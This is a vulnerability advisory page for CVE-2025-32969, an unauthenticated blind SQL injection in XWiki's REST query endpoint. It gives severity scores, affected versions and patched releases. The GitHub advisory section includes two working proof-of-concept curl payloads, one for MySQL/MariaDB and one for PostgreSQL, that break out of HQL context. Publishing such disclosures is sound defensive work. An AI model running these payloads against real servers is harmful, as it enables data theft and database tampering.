9.3critical
org.xwiki.platform:xwiki-platform-rest-server allows SQL injection in query endpoint of REST API
- Severity
- 9.3critical CVSS:4.0 by GitHub_M
- Exploit likelihood
- 80.0% (higher than 99% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-f69v-xrj8-rhxf
Description
XWiki is a generic wiki platform. In versions starting from 1.8 and prior to 15.10.16, 16.4.6, and 16.10.1, it is possible for a remote unauthenticated user to escape from the HQL execution context and perform a blind SQL injection to execute arbitrary SQL statements on the database backend, including when "Prevent unregistered users from viewing pages, regardless of the page rights" and "Prevent unregistered users from editing pages, regardless of the page rights" options are enabled. Depending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries. This issue has been patched in versions 16.10.1, 16.4.6 and 15.10.16. There is no known workaround, other than upgrading XWiki.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| xwiki xwiki-platform | >= 1.8, < 15.10.16, >= 16.0.0-rc-1, < 16.4.6, >= 16.5.0-rc-1, < 16.10.1 | CVE List |
| org.xwiki.platform:xwiki-platform-rest-server (Maven) | from 1.8 before 15.10.16, from 16.0.0-rc-1 before 16.4.6, from 16.5.0-rc-1 before 16.10.1 | GitHub Advisory Database |
| xwiki xwiki | from 1.8 before 15.10.16, from 16.0.0 before 16.4.6, from 16.5.0 before 16.10.1 | NVD |
All scores
| GitHub_M | 9.3critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| GitHub | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| NVD | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact total.
What each source says
CVE List
XWiki is a generic wiki platform. In versions starting from 1.8 and prior to 15.10.16, 16.4.6, and 16.10.1, it is possible for a remote unauthenticated user to escape from the HQL execution context and perform a blind SQL injection to execute arbitrary SQL statements on the database backend, including when "Prevent unregistered users from viewing pages, regardless of the page rights" and "Prevent unregistered users from editing pages, regardless of the page rights" options are enabled. Depending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries. This issue has been patched in versions 16.10.1, 16.4.6 and 15.10.16. There is no known workaround, other than upgrading XWiki.
GitHub Advisory Database
Impact
It is possible for a remote unauthenticated user to escape from the HQL execution context and perform a blind SQL injection to execute arbitrary SQL statements on the database backend, including when "Prevent unregistered users from viewing pages, regardless of the page rights" and "Prevent unregistered users from editing pages, regardless of the page rights" options are enabled.
Depending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries.
The vulnerability may be tested in a default installation of XWIki Standard Flavor, including using the official Docker containers.
An example query, which leads to SQL injection with MySQL/MariaDB backend is shown below:
time curl "http://127.0.0.1:8080/rest/wikis/xwiki/query?q=where%20doc.name=length('a')*org.apache.logging.log4j.util.Chars.SPACE%20or%201%3C%3E%271%5C%27%27%20union%20select%201,2,3,sleep(10)%20%23%27&type=hql&distinct=0"
When executed, the response from the server will come after a delay of 10 extra seconds, indicating successful execution of the injected SQL statement.
An example of a query for the PostgreSQL database backend is shown below:
curl "https://127.0.0.1:8080/rest/wikis/xwiki/query?q=where%20%24%24='%24%24=concat(%20chr(%2061%20),(chr(%2039%20))%20)%20;select%201%20--%20comment'&type=hql&distinct=0"
Both requests employ database backend dependent techniques of breaking out of HQL query context, described, for example, here: https://www.sonarsource.com/blog/exploiting-hibernate-injections.
Patches
This has been patched in 16.10.1, 16.4.6 and 15.10.16.
Workarounds
There is no known workaround, other than upgrading XWiki.
References
https://jira.xwiki.org/browse/XWIKI-22691
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
Attribution
Sergey Anufrienko from Kaspersky ICS-CERT vulnerability research team reported this vulnerability.
NVD (es)
XWiki es una plataforma wiki genérica. En versiones a partir de la 1.8 y anteriores a las 15.10.16, 16.4.6 y 16.10.1, un usuario remoto no autenticado puede escapar del contexto de ejecución HQL y realizar una inyección SQL ciega para ejecutar sentencias SQL arbitrarias en el backend de la base de datos, incluso cuando las opciones "Impedir que usuarios no registrados vean páginas, independientemente de sus derechos" e "Impedir que usuarios no registrados editen páginas, independientemente de sus derechos" están habilitadas. Dependiendo del backend de la base de datos utilizado, el atacante podría obtener información confidencial, como hashes de contraseñas, y ejecutar consultas UPDATE/INSERT/DELETE. Este problema se ha corregido en las versiones 16.10.1, 16.4.6 y 15.10.16. No se conoce ningún workaround, salvo actualizar XWiki.
References
| https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-f69v-xrj8-rhxf | exploit, vendor-advisory, web | |
| https://github.com/xwiki/xwiki-platform/commit/5c11a874bd24a581f534d283186e209bbccd8113 | patch, web | |
| https://jira.xwiki.org/browse/XWIKI-22691 | issue-tracking, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2025-32969 | advisory | |
| https://github.com/xwiki/xwiki-platform | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-32969 changed 2025-04-23 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-f69v-xrj8-rhxf changed 2025-04-30 | CC-BY-4.0 |
| NVD | CVE-2025-32969 changed 2026-06-17 | Public domain |